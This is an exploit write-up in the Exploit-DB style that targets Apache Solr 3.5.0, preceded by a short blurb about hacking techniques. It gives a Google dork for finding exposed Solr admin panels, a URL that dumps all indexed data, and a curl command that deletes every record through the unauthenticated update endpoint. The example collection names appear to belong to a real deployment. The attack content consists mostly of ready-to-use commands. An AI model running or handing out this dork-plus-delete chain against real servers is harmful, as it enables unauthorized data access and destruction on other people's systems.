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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: All Solr Data Can Be Delete
# Google Dork: intext:[Schema] [Config] [Analysis] [Schema Browser]
[Statistics] [Info] [Distribution] [Ping] [Logging]
# Date: 5/2/2016
# Exploit Author: N37 [Myanmar]
# Vendor Homepage: http://lucene.apache.org/solr/
# Software Link:  https://archive.apache.org/dist/lucene/solr/3.5.0/
# Version: 3.5.0
# Tested on: fedora 23


Solr is  open source enterprise search platform built on Apache Lucene.

It can be delete all data in solr. solr are use nlp, money of data research, data mining,  some of mobile backend on vps .


POC or Eg.

This Query is shwo all data in solr :
http://server:8080/solr/lambeth_planning/select/?q=*%3A*&version=2.2&start=0&rows=10&indent=on

You can delete all data with curl in terminal :
curl -X GET "server:8080/solr/lambeth_locations/update?stream.body=<delete><query>*:*<%2Fquery><%2Fdelete>&commit=true"

now you can check with first query in browser. All data are deleted.


Regards,
N37 [Myanmar]